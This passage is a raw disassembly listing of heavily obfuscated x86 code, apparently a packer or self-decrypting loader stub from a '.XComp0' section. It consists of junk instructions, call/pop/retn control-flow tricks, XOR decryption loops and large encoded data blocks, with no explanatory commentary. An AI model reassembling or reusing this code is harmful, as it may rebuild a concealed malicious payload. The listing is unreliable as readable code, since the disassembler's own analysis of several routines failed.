[ebx+eax] xor ch, 0DFh xor edx, 320BFF58h push edi jle loc_5E6741 mov esi, [ebp+5F92761h] loc_5E6741: ; CODE XREF: sub_5E6708+2Dj pop esi add edx, 5880BFFEh jmp loc_5E6759 ; --------------------------------------------------------------------------- db 4Eh, 0E1h, 67h dd 5D96E7E5h, 0B1E6402Ch ; --------------------------------------------------------------------------- pop esp loc_5E6759: ; CODE XREF: sub_5E6708+40j xor edx, 70BDD3A0h mov esi, [ebp+5F910F9h] push edx jmp loc_5E6770 ; --------------------------------------------------------------------------- db 0AEh dd 5F292FAFh ; --------------------------------------------------------------------------- loc_5E6770: ; CODE XREF: sub_5E6708+5Ej pop dword ptr [ebx+eax] jp loc_5E677B mov edi, esi loc_5E677B: ; CODE XREF: sub_5E6708+6Bj mov [ebp+5F92B09h], ecx sub eax, 118684C1h jb loc_5E6793 or esi, [ebp+5F929EDh] loc_5E6793: ; CODE XREF: sub_5E6708+7Fj add eax, 118684BDh cmp eax, 0FFFF9F40h jnz loc_5E6728 sub [ebp+5F9164Dh], eax lea ecx, [ebp+600B29Ah] push 0 push eax call sub_5E67BC and [eax-3Dh], bl sub_5E6708 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5E67BC proc near ; CODE XREF: sub_5E6708+ACp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5E67BC endp ; --------------------------------------------------------------------------- dd 26F293E1h, 39522606h, 98D8922h, 0E805F91Eh, 6, 44CE633Ah dd 0B70F3712h, 8D8958DFh, 5F90CDDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0FAC35646h, 90CF8E44h, 24DF98E0h dd 0F9FDE881h, 85C73045h, 5F926C1h, 673Ch, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0B1C35242h, 0A7FB5C94h dd 0FD85C7h, 5F9h, 8F0F0000h, 4, 9490BB66h, 3465B5FFh dd 8B0F05F9h, 10h, 8E851h, 0E1960000h, 2A8E795Fh, 5A58EBF0h dd 20D595FFh, 858B05F9h, 5F907A5h, 95FF006Ah, 5F91AEDh dd 1EEBC08Bh, 61D3E672h, 5C901BA0h, 5370A497h, 2C55FBBAh dd 33A86EF8h, 0B7DD0061h, 424D3A13h, 8D8D7C54h, 600B38Ch dd 14E9h, 1C8CEC00h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch, 0ABE523CEh dd 0DD8D898Fh, 0B605F90Ch, 0C185C718h, 1005F926h, 6A000063h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0C582C353h, 0E14C5818h, 0FD85C7h, 5F9h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 50A7CEC3h, 744458E0h, 0B70F70FDh, 9E860D2h, 0F3000000h dd 5C951388h, 78CE5AAh, 0B5FF615Eh, 5F9275Dh, 0BCCFD2BEh dd 0D595FF64h, 6A05F920h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 3E84C350h, 25F99D89h dd 6A05F9h, 1AED95FFh, 0C08B05F9h, 83057CEBh, 720FA68Fh dd 562944BBh, 0F5A63570h, 3E338FB6h, 0B7D5D523h, 93689F9Bh dd 0F4FD108Bh, 0B8881287h, 2C4FF843h, 50D47C1Ah, 0EB417897h dd 0C36522F0h, 0C17A5E04h, 0DB6259A6h, 31727DE0h, 8A452EC7h dd 1331E6C0h, 0D62B1CCCh, 874C36A1h, 29A01FFAh, 0D868EE5Ah dd 528E516Fh, 178A5211h, 0FA7B0FA5h, 24FAAAABh, 857086BAh dd 926F8325h, 889B722Fh, 4C6DE0ABh, 0B7BAEE4h, 8D8D204Bh dd 600B4F6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 2BC35343h, 9D9D89h, 8D8905F9h, 5F90CDDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 1C35646h, 0CCAD510Ch dd 8FB03FF6h, 26C185C7h, 73F805F9h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0DC9724C3h dd 7ED5C25Eh, 0FD85C745h, 5F900h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0B9E4C357h, 7A8B22Dh, 0F38BF4D8h, 11E9h, 8EA7CC00h dd 0EB988C48h, 43471AB9h, 37186A79h, 0B5FFC817h, 5F91771h dd 2BD19503h, 95FF05F9h, 5F920D5h, 19958523h, 0BD2905F9h dd 5F92F09h, 95FF006Ah, 5F91AEDh, 78EBC08Bh, 46B9BFD7h dd 169385AEh, 7983EFC3h, 0E042A12Ah, 0E1436F5Ah, 0AF32A042h dd 700196C3h, 0B89E8D36h, 18ED9D09h, 0B3A269F0h, 833567B1h dd 829AADFFh, 0CF400BD2h, 367ED432h, 0D33D62F3h, 0BF24C526h dd 60862A2Ch, 3F4F01AFh, 904B9B53h, 0D9A21FECh, 8DDB95D0h dd 867782F1h, 2148896Bh, 0B02CB26h, 1EE52C90h, 8F2BC3F2h dd 7613135Eh, 0CEDA30A6h, 8C8D0C9Dh, 5C78CC2Fh, 14E8h dd 0CC890700h, 4FD79E92h, 0A56DDB35h, 504DB0EDh, 0F483FCB6h dd 850F60FDh, 6, 26E58D23h, 0EF8005F9h, 0BB5F6131h, 3246FD29h dd 73ADC781h, 89600000h, 0F934A19Dh, 0BA6105h, 89000000h dd 0F933FDB5h, 170C8B05h, 2D91B589h, 0C18105F9h, 4347AA92h dd 8107D080h, 9BA20DE9h, 1D850359h, 8105F90Dh, 9DD191F1h dd 359D2935h, 5105F91Fh, 1830Fh, 8FF90000h, 0BD891704h dd 5F90ACDh, 511B531h, 0EA8305F9h, 18FA8104h, 0FFFFF8Dh dd 2185h, 68B0F00h, 8B000000h, 0F92079B5h, 24E905h, 82C30000h dd 3ACF5821h, 0E4AA5541h, 0EC84973Ch, 0E9F9DBB3h, 0FFFFFF89h dd 26E23D2Bh, 26E97AB6h, 3A57B103h, 8D8DABB9h, 600B705h dd 0DE8h, 164E7200h, 0E8AA0190h, 57912FC7h, 8166649Ah dd 5FF726E7h ; --------------------------------------------------------------------------- loc_5E6C4C: ; DATA XREF: .XComp0:00583739o mov [ebp+5F90CDDh], ecx push 0 push esi call sub_5E6C5D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E6C5D proc near ; CODE XREF: .XComp0:005E6C55p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5E6C5D endp ; --------------------------------------------------------------------------- add eax, 0C7854AC9h test eax, ecx db 26h stc add eax, 6EECh jmp loc_5E6C94 ; --------------------------------------------------------------------------- dd 21D3A6EBh, 660983BFh, 725F940Ah, 0EC65456Bh, 27C9D8A2h ; --------------------------------------------------------------------------- loc_5E6C94: ; CODE XREF: .XComp0:005E6C7Bj mov dword ptr [ebp+5F900FDh], 0 push 0 push ebp call sub_5E6CA9 loc_5E6CA6: ; CODE XREF: .XComp0:005E6CE8j and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E6CA9 proc near ; CODE XREF: .XComp0:005E6CA1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5E6CA9 endp ; --------------------------------------------------------------------------- push esi push ecx pop esi push dword ptr [ebp+5F913D9h] mov dh, 0C2h call dword ptr [ebp+5F920D5h] push 0 push esi call sub_5E6CD5 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E6CD5 proc near ; CODE XREF: .XComp0:005E6CCDp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5E6CD5 endp ; --------------------------------------------------------------------------- db 4Fh, 21h, 63h ; --------------------------------------------------------------------------- jg short loc_5E6CA6 shr dword ptr [edx+0], cl call dword ptr [ebp+5F91AEDh] mov eax, eax jmp short loc_5E6D0F ; --------------------------------------------------------------------------- db 0C9h dd 0FE0D81DBh, 78E60903h, 0DC67D2A6h, 28BD378Eh, 74FB3B66h db 0BAh, 0F6h, 0Dh ; --------------------------------------------------------------------------- loc_5E6D0F: ; CODE XREF: .XComp0:005E6CF5j call near ptr loc_5E6D23+1 das jnz short loc_5E6D3B out dx, eax fisub dword ptr [ebx+2Eh] leave sub eax, 0B237442h xor edi, edx loc_5E6D23: ; CODE XREF: .XComp0:loc_5E6D0Fp xor ebp, [ebx] mov ebp, 5F912A1h pop eax mov bx, di add eax, 6781h mov ch, 0AFh mov edx, 0 loc_5E6D3B: ; CODE XREF: .XComp0:005E6D15j push edi mov ecx, 6378869Fh pop ecx loc_5E6D42: ; CODE XREF: .XComp0:005E6DCFj mov esi, [eax+edx] push ecx mov [ebp+5F912B9h], edx pop edi sub esi, 123925BBh pusha call sub_5E6D6C setalc ; --------------------------------------------------------------------------- dw 96FEh dd 51283E96h, 0A028D711h, 705737D8h, 0AD54394Ch ; =============== S U B R O U T I N E ======================================= sub_5E6D6C proc near ; CODE XREF: .XComp0:005E6D54p mov cl, bl pop ebx or ebx, [ebp+5F92605h] popa xor esi, 1F3AC14Bh mov bl, dl add esi, 59FCAF0h push esi movsx ebx, cx pop dword ptr [eax+edx] call near ptr loc_5E6D9D+1 sbb dl, [edi-23h] mov ah, 0Ch sbb bl, [ecx+eax-2] scasd aas rep xchg eax, ebp loc_5E6D9D: ; CODE XREF: sub_5E6D6C+1Fp mov esp, 1F058D0Bh sub_5E6D6C endp ; sp-analysis failed stc add eax, 0FEBF0F5Fh sub edx, 6CA7185Bh add [ebp+5F91E15h], edx add edx, 6CA71857h jmp loc_5E6DC9 ; --------------------------------------------------------------------------- db 0D3h dd 0F72D1C8Eh, 0C50D9EC8h ; --------------------------------------------------------------------------- cdq loc_5E6DC9: ; CODE XREF: .XComp0:005E6DBAj cmp edx, 0FFFF9940h jnz loc_5E6D42 mov cx, 0AA19h call sub_5E6DF2 clc mov ebx, 37BE68Ah mov ah, 0DAh cmp ch, [esi+14CEB371h] and [edx+0D148A11h], edi ; CODE XREF: sub_5E6DF2+76j ; =============== S U B R O U T I N E ======================================= sub_5E6DF2 proc near ; CODE XREF: .XComp0:005E6DD9p pusha xor esi, [ebp+5F92C99h] popa pop edi mov [ebp+5F91511h], edx add edi, 6812h push esi mov bl, 0FFh pop ebx push 19D5h mov esi, [ebp+5F9315Dh] pop ecx push edx mov esi, [ebp+5F92E39h] pop edx loc_5E6E1F: ; CODE XREF: sub_5E6E77+19j push dword ptr [edi] sub [ebp+5F91725h], ebx pop eax mov edx, [ebp+5F92415h] sub eax, 65A0F43Bh mov ebx, [ebp+5F927CDh] xor eax, 384A9D97h mov ebx, [ebp+5F93155h] sub eax, 3AA923BDh jmp loc_5E6E56 ; --------------------------------------------------------------------------- db 0Eh, 3Dh, 27h db 0E8h, 9Ah ; --------------------------------------------------------------------------- loc_5E6E56: ; CODE XREF: sub_5E6DF2+5Aj mov [edi], eax mov si, 9AC3h sub edi, 7AC3BC03h call near ptr sub_5E6E77 pop ds jmp short near ptr loc_5E6DEC+4 sub_5E6DF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0C487h dd 0CD53D9F7h, 0ADED90F2h db 0D0h, 19h, 3 ; =============== S U B R O U T I N E ======================================= sub_5E6E77 proc far ; CODE XREF: sub_5E6DF2+70p ; FUNCTION CHUNK AT 005E6F11 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 005E6F56 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005E6F83 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005E6FA4 SIZE 0000000C BYTES or [ebp+5F90D19h], esi pop edx add edi, 7AC3BBFFh sub [ebp+5F92675h], edx sub ecx, 1 jnz loc_5E6E1F jmp loc_5E6EA0 ; --------------------------------------------------------------------------- db 7Ah dd 336C8E63h ; --------------------------------------------------------------------------- loc_5E6EA0: ; CODE XREF: sub_5E6E77+1Fj call near ptr locret_5E6EB6+2 fimul dword ptr [edx+edx+545CB6Fh] ja short loc_5E6F11 cmc ror dword ptr [edi+1A2E0294h], 96h locret_5E6EB6: ; CODE XREF: sub_5E6E77:loc_5E6EA0p retf 8B6Ah sub_5E6E77 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebp, 5F93301h pop ecx mov [ebp+5F91125h], edi add ecx, 64D3h jmp loc_5E6EDB ; --------------------------------------------------------------------------- lea ecx, [esi-3C00460Ah] cmpsb sti icebp and cl, bh loc_5E6EDB: ; CODE XREF: .XComp0:005E6ECBj push 18F6h pusha mov edi, esi mov ecx, [ebp+5F915B1h] popa pop ebx mov edx, edi push dword ptr [ecx] mov [ebp+5F929E5h], edi pop eax mov [ebp+5F91029h], edi sub eax, 7F01D0AAh pusha jns near ptr byte_5E6F0D mov di, 21DBh ; --------------------------------------------------------------------------- byte_5E6F0D db 0BEh, 0AFh, 0CAh ; CODE XREF: .XComp0:005E6F03j db 66h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5E6E77 loc_5E6F11: ; CODE XREF: sub_5E6E77+35j dec eax popa sub eax, 38C3AD5Ah mov dx, 5B03h xor eax, 19A6A1h jl loc_5E6F2F mov edx, [ebp+5F907B9h] loc_5E6F2F: ; CODE XREF: sub_5E6E77+ACj mov [ecx], eax mov [ebp+5F92255h], edi sub ecx, 188AC8CAh jge loc_5E6F57 push esi jmp loc_5E6F56 ; END OF FUNCTION CHUNK FOR sub_5E6E77 ; --------------------------------------------------------------------------- db 0EBh, 0D9h, 2Fh dd 663E2CB3h, 76B48FE1h db 81h, 62h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5E6E77 loc_5E6F56: ; CODE XREF: sub_5E6E77+CDj pop edi loc_5E6F57: ; CODE XREF: sub_5E6E77+C6j add ecx, 188AC8C6h sbb esi, 116FAC30h sub ebx, 1 jnz loc_5E6F83 movsx edx, cx jmp loc_5E6FA4 ; END OF FUNCTION CHUNK FOR sub_5E6E77 ; --------------------------------------------------------------------------- db 63h dd 97C83685h, 6FA6EF20h ; --------------------------------------------------------------------------- lahf fadd st(6), st ; START OF FUNCTION CHUNK FOR sub_5E6E77 loc_5E6F83: ; CODE XREF: sub_5E6E77+F2j call near ptr loc_5E6F8B+2 lea ebp, [eax+71h] loc_5E6F8B: ; CODE XREF: sub_5E6E77:loc_5E6F83p and eax, 0B1BD89B7h xor al, 0F9h add eax, 0FF54E95Eh ; END OF FUNCTION CHUNK FOR sub_5E6E77 ; --------------------------------------------------------------------------- db 0FFh dd 0A17C5DFFh, 8ABA20DCh, 8D56DCCFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5E6E77 loc_5E6FA4: ; CODE XREF: sub_5E6E77+FBj call near ptr sub_5E6FB0 dec ebp mov edx, 25B2D835h dec edx ; END OF FUNCTION CHUNK FOR sub_5E6E77 ; =============== S U B R O U T I N E ======================================= sub_5E6FB0 proc far ; CODE XREF: sub_5E6E77:loc_5E6FA4p var_4 = dword ptr -4 arg_0 = dword ptr 4 movsx ebx, bx pop esi xor [ebp+5F9120Dh], edx add esi, 6435h mov di, si push 18DEh movzx ebx, cx pop ecx mov [ebp+5F904D1h], ebx loc_5E6FD2: ; CODE XREF: sub_5E6FB0+A9j push dword ptr [esi] pusha mov dh, 6Eh jmp loc_5E6FE4 ; --------------------------------------------------------------------------- cmp ch, ch mov edi, 1F4BF87Fh retf ; --------------------------------------------------------------------------- loc_5E6FE4: ; CODE XREF: sub_5E6FB0+27j popa pop edx mov ax, 7552h add edx, 0A26C7A6h mov [ebp+5F90CC1h], edi add edx, 4E37F992h push edi mov ebx, eax pop edi sub edx, 669C2F80h mov [ebp+5F91995h], edx mov [esi], edx mov di, cx sub esi, 50109C65h push ecx and eax, 0EB5421Fh pop ebx add esi, 50109C61h jmp loc_5E7036 ; --------------------------------------------------------------------------- dw 0E893h dd 7338FA16h, 0EB316Eh db 7, 0A0h ; --------------------------------------------------------------------------- loc_5E7036: ; CODE XREF: sub_5E6FB0+75j sub ecx, 1 jnz loc_5E7058 xor eax, [ebp+5F90CB5h] jmp loc_5E706A ; --------------------------------------------------------------------------- dw 0A378h dd 20908F9Dh, 0F0B5082Eh, 26D6160Ch ; --------------------------------------------------------------------------- loc_5E7058: ; CODE XREF: sub_5E6FB0+89j stc jmp loc_5E6FD2 ; --------------------------------------------------------------------------- dw 7BBBh dd 7A9EBFC6h, 7BEC6C01h db 0E1h, 8Ah ; --------------------------------------------------------------------------- loc_5E706A: ; CODE XREF: sub_5E6FB0+95j jmp loc_5E7084 ; --------------------------------------------------------------------------- db 7Ah dd offset dword_558348+6C9h dd 4 dup(0) ; --------------------------------------------------------------------------- loc_5E7084: ; CODE XREF: sub_5E6FB0:loc_5E706Aj jmp loc_5E7806 ; --------------------------------------------------------------------------- db 0F0h, 0D1h, 40h dd 7A95399Ch, 4EB523C2h, 7B8A2F96h, 49BE1EC9h, 53008193h dd 597CA067h, 81649873h, 6A8DAF5Ah, 6E548885h, 0CBEF8AC9h dd 0F76C2395h, 78638C39h, 6336B758h, 2EA173AEh, 20DD9DF1h dd 0FDEA0313h, 0D3F22ADDh, 1FE23EAh, 0EBBE2FDAh, 0F5D7A24Bh dd 64849777h, 0BD1D9A57h, 8096434Ah, 0CCC14C71h, 0FFBAA72Dh dd 13CF2DE5h, 43CCF403h, 4CB7219Eh, 897E5E49h, 7A9C5504h dd 0DF0BFC71h, 0C243A80Fh, 0BB20BD2Ch, 2AFFF60Dh, 839BDAC2h dd 9851D4ABh, 7D5A8164h, 7227AE61h, 547582B7h, 0C96D3CB1h dd 8C2DCA6Fh, 0B716D579h, 725C5B52h, 0A6131499h, 8499E46Fh dd 69162996h, 0A54A2DA0h, 0BD749936h, 84D2A538h, 9DC940DAh dd 92EB28D1h, 0F299684h, 0CEEDFC12h, 0FEFECF1Eh, 7143BCE7h dd 8973AEB8h, 0A35E937Fh, 0DE10765Eh, 39800FEDh, 95A05F1Ah dd 0F1FDC29h, 0F01DC225h, 68EFC349h, 0A86D6E78h, 0C0B65D86h dd 6529961Dh, 3A925C8Ah, 0FD12BC4h, 30D57929h, 4D2F60BCh dd 8979h, 31CECB00h, 0D02B818Ch, 643FDF88h, 0FDE21125h dd 0D07F3h, 0E52C96F2h, 471863F0h, 16BB2996h, 26C843A9h dd 21BB8BD7h, 0F54D2F63h, 9602391Fh, 0D6786162h, 0A4Ah dd 4F3F9500h, 0DB9D38E2h, 8CDF55F9h, 0B8537964h, 537B7C71h dd 9FBC85BCh, 299685DEh, 0DA46AE5Bh, 5D45833Dh, 0B1B62FBFh dd 0BB44FD08h, 23F6F70Eh, 0A643DA13h, 0B658B319h, 0AD111B47h dd 8D05B45h, 7B98B66Eh, 29966702h, 8247827Fh, 0BB527B5Ah dd 46CEA789h, 507B51E2h, 0BB3ADC56h, 0F841F80Fh, 9666225Bh dd 4CE29F29h, 0B12C9493h, 0FCAFF0Ah, 0CFC647A8h, 79EBF41Ah dd 749337C0h, 7786A881h, 7C59816Bh, 6A3FB64Fh, 239C7D9Fh dd 49A84EB5h, 749337A4h, 6C61A881h, 7F8C32CDh, 3CBB5B0Eh dd 3F98438Eh, 32A36E9Dh, 0B287B277h, 9295C35Ah, 18230FB7h dd 2995BF65h, 0D81125E2h, 991CEBCFh, 0E0D72C8Eh, 12F3D8FBh dd 1BF2D6D7h, 0FE090FCFh, 0B1B61ED0h, 0AA0ACC3Fh, 339D7284h dd 744D2F90h, 0F8h, 8A608CCEh, 991D34D0h, 5F9A4F20h, 7D917258h dd 7C558364h, 7F76BB54h, 58C94BEEh, 0F9F10311h, 0CA7D001Bh dd 0DFA2995h, 87D332C4h, 2E9045A5h, 0CE4D8DDh, 1D8815B3h dd 0A9509950h, 0FDBAC350h, 18372995h, 896055B6h, 6184AE40h dd 9A735C79h, 568B4613h, 0FE0D70ABh, 2D982995h, 54D8CE5h dd 0B65845B9h, 64A14A2Dh, 0F68557BDh, 0D89090B2h, 0C9A015F6h dd 53F5EE00h, 0C00AEBCh, 0C2590090h, 0FC7D9E27h, 79299637h dd 735A458Ch, 0A44A1F96h, 2F127D5Fh, 983A4Dh, 0F050000h dd 292637C9h, 0B77D9175h, 7E8931CEh, 56B119D8h, 0B45F9A5Fh dd 299685C9h, 0A5735946h, 3E52621Ch, 44A746E8h, 0D8E0B9A8h dd 14DD7371h, 1DEAD2EDh, 0DD28F0F9h, 38CFFBF1h, 30D5F601h dd 0F04AECBDh, 1861F247h, 0A3299683h, 390FF290h, 4F3D361h dd 14F831DAh, 0BE5BBB5Eh, 9AA0B689h, 7C8731CEh, 5CB31BDAh dd 85CCAA59h, 0C8712996h, 8597E271h, 16222996h, 0BE528F52h dd 0B75744BAh, 0B02C1A48h, 844D2F55h, 8FCC537Bh, 299671EEh dd 0E373BE6Bh, 147h, 5E8CA100h, 56837CA5h, 74E64992h, 66ABE973h dd 4B94BA6Fh, 4F8A836Ch, 6D508368h, 8940199Ch, 61DE7C65h dd 7E907556h, 6F59537Fh, 6EF87094h, 0F930DD02h, 0F211B740h dd 2B082EFBh, 8DF02BD6h, 0A2995B9h, 0D856F91Dh, 0EB2F8EDAh dd 0FB0B73Eh, 18E146FEh, 9C9782FBh, 0EED0FF23h, 0B342D41Dh dd 0E792030Ah, 0C043A512h, 7EFF1CCDh, 0FB239C97h, 1265E80Eh dd 0AD239C97h, 52BA7462h, 1F5847EDh, 0D817370Ah, 0B39CF9F7h dd 0E20B7A57h, 0C47F227h, 239CDB71h, 0DB8FEA29h, 0F0C239Ch dd 0D25CF2AFh, 5243CAF3h, 5AAB10A7h, 81708653h, 0A83CB15Ch dd 329B91BDh, 4D829DBh, 0D048D6F7h, 0A40807E7h, 8319C780h dd 7DA94D50h, 215h, 3169FFC7h, 23CFEF08h, 0D5CBD0DCh, 830ABFF6h dd 68F340D6h, 2F8ED322h, 789737C0h, 0C04D7275h, 100DE509h dd 0D8359A9Dh, 423BD821h, 0BF239CBAh, 0B035EAC2h, 947B8A00h dd 0B00DB882h, 0B01BA45Dh, 8D2CB559h, 2692B987h, 7086702Ch dd 3CB15C81h, 0E308EFA8h, 1FEAB22h, 0F0A92CD7h, 0B9B39F5Eh dd 2F4A0914h, 0AC239D2Fh, 2F2954FFh, 0F9A6239Dh, 0BE43F930h dd 48D60B22h, 0A4E3h, 41D63E00h, 0EAFCFCCCh, 0CE161C32h dd 0EC8DCE73h, 69299685h, 85DE9FBCh, 0AE5B2996h, 1446DC88h dd 852B2EEDh, 3BE8A996h, 5D203B06h, 0DAA99685h, 0F237CEFBh dd 7D00835Ch, 88A99685h, 0C0B95A9Fh, 78A99685h, 9685A2DBh dd 7C621FA9h, 0C0B95A7Fh, 3DA99685h, 34FAE40h, 3EA2069Ch dd 0D6E118D1h, 0CC9D10F5h, 0CB340D2Ah, 3AEFE61Dh, 3AF80BD2h dd 0DD715939h, 9619EF6Ah, 0ABE5E729h, 0A89F7840h, 98B1CC87h dd 712E2995h, 0A15E96B8h, 1075A7Bh, 5A9F0000h, 9598C0B9h dd 0A2DB7829h, 1F299598h, 6F7F7C62h, 0FF69FFC9h, 40F930DFh dd 851F5AF9h, 0DF9C2996h, 5131E24Fh, 0F72F8F86h, 0DA2CE115h dd 0BC10875Ah, 4BA1CBE8h, 798195DAh, 10AF176Fh, 0AC654C99h dd 0EE8FCC75h, 6B239D0Ch, 684F98BEh, 6D685487h, 5F3ABB4Eh dd 0BB7623AAh, 9C815E89h, 9D0CFE7Fh, 438E7B23h, 1AB7219Eh dd 8A5F56B3h, 8D36AF3Fh, 239D0DE7h, 9D517D88h, 50E35437h dd 9CD3BAC3h, 624A3723h, 9EB0AD8Ah, 7D9F6E4Fh, 0EDCD5BCDh dd 0E92ACF1Ah, 299D580Eh, 20CC42CAh, 0A2B63699h, 519A648Ch dd 0FA3D7C6Eh, 0FEF920E9h, 34D9F6DDh, 0D21E8C1h, 23EAD3D4h dd 0F5E128B2h, 7BA6FC6Ah, 575A4EC6h, 0A32ADFFEh, 0A2AC1EF6h dd 0CA2D2036h, 86239D1Ch, 6BD559BBh, 40622A5Eh, 9C32CAB3h dd 0B45A4717h, 0B9C44F3Ch, 36179C32h, 5E598049h, 0E025877Ch dd 43A3BB43h, 0EE4BE509h, 8CC891E6h, 10261AE0h, 1469FF2Ah dd 900C1CADh, 86BB765Ah, 819A44BBh, 965AA7D2h, 0B2772429h dd 85C86E3Bh, 2F971572h, 385919F3h, 0AC7B9662h, 66877065h dd 6D5275A7h, 6FBA4F6Eh, 0DA9F42CAh, 1DD785BEh, 5A63F0F9h dd 0C67720CAh, 0E607E5F1h, 0E705F227h, 0BD281224h, 0CB34ED20h dd 9750E61Dh, 0D3DA2B90h, 0E7020A37h, 1B53F69Eh, 82D02FBFh dd 14C845AAh, 8C010CB1h, 8A9h, 31CED700h, 9DD97D88h, 0AC658CE7h dd 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h dd 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 1D681BCCh, 89000078h ; --------------------------------------------------------------------------- xor al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], edi push 1510h mov [esp+0], ebp push ebx push 119F2CA2h pop ebx inc ebx push esi mov esi, 2D166D95h shr esi, 1 xor esi, 0E2EABB33h add ebx, esi pop esi mov edi, ebx pop ebx sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop ebp push 32Eh mov [esp+4+var_4], edi xor [esp+4+var_4], 13826910h pop dword ptr [ebp+8] xor dword ptr [ebp+8], 13826910h mov ebp, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] pop esp push dword ptr [esp+0] pop edi add esp, 4 jmp loc_5734FA ; --------------------------------------------------------------------------- dw 0D4Ch dd 0CA8B7D9Bh db 0CDh, 3 ; --------------------------------------------------------------------------- loc_5E7806: ; CODE XREF: sub_5E6FB0:loc_5E7084j mov eax, 600C189h add eax, ebp jmp eax sub_5E6FB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8Eh dd 0D12370CDh, 0C91D14F2h, 1E7FBBC5h, 0E1E56EAh, 536825DDh dd 3856D2F0h, 824BFE6Ah, 889A075h, 0DC781469h, 69D78DA6h dd 2E8635DCh, 908635A1h, 480AD925h, 99053025h, 177F27D0h dd 76023F25h, 7863025h, 0BB90B198h, 0A5893020h, 90863057h dd 501FB5E3h, 4CC835DCh, 0C44C8AAFh, 0C3A204A4h, 7BF8B848h dd 0BB91C590h, 3103BD20h, 6F83CCE0h, 8E76BBF5h, 0DD9EA9A0h dd 66EE7E20h, 8866FEE2h, 94B21411h, 0F77978A9h, 247F26A4h dd 5596B5A8h, 987935D9h, 343FC8AEh, 0FB863025h, 986302Dh dd 8A033F83h, 0B863025h, 0A489F92Eh, 6F79CFD5h, 48863DCCh dd 0CC1BBD25h, 0AA83C96Bh, 9863020h, 390BD3DAh, 4486F21Bh dd 0E37DBDA8h, 823E3625h, 63000000h, 826FF1EAh, 889A075h dd 0DC781469h, 69D78DA6h, 2E8635DCh, 908635A1h, 480AD925h dd 99053025h, 0F305E983h, 22B9A4h, 8D8D0000h, 600C3B5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9CC35747h dd 8D89E35Ah, 5F90CDDh, 89958B50h, 5805F903h, 26C185C7h dd 5DE805F9h, 0BD230000h, 5F904B9h, 21D5858Bh, 85C705F9h dd 5F900FDh, 0 ; --------------------------------------------------------------------------- mov dh, 28h push dword ptr [ebp+5F91771h] push 0 push ebx call sub_5E7973 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E7973 proc near ; CODE XREF: .XComp0:005E796Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5E7973 endp ; --------------------------------------------------------------------------- mov eax, ds:8C8CFC99h mov esp, 803AAC2Eh or [ebp+5F92D95h], esi call dword ptr [ebp+5F920D5h] mov edx, esi push 0 call dword ptr [ebp+5F91AEDh] mov eax, eax jmp short loc_5E7A1F ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0E8h, 26h, 1Ch dd 0DE0BC045h, 29B74385h, 0DDE124F7h, 1CB7B6Eh, 0C031F553h dd 93AB4947h, 776FCEFCh, 0C82B6ECDh, 1F105DF2h, 81D7F066h dd 4C0ACEF1h, 1CB2793Bh, 0F41BF411h, 0CEC5B0D5h, 55C96696h dd 9E657F62h, 4A3F7000h, 0BEE8F3Bh, 0DE35381Ch, 0BBA5CB8Fh dd 0B3539721h, 0B201C870h, 9FE5374h, 1414D3ABh, 5D23C6A7h dd 15614E17h, 76EDBBA1h, 855B3C88h ; --------------------------------------------------------------------------- dec byte ptr [ebx-0Bh] loc_5E7A1F: ; CODE XREF: .XComp0:005E79A5j jmp loc_5E7A36 ; --------------------------------------------------------------------------- retn 5591h ; --------------------------------------------------------------------------- db 37h dd 3 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5E7A36: ; CODE XREF: .XComp0:loc_5E7A1Fj jmp loc_5E860F ; --------------------------------------------------------------------------- db 3Eh dd 0FB66EA3h, 19BC60AFh, 45B054AFh, 1CBB61A4h, 8FA557B0h dd 82856512h, 0BA517B5Ah, 91786382h, 0AA638C6Bh, 6CA75072h dd 2395C211h, 0A710D98Eh, 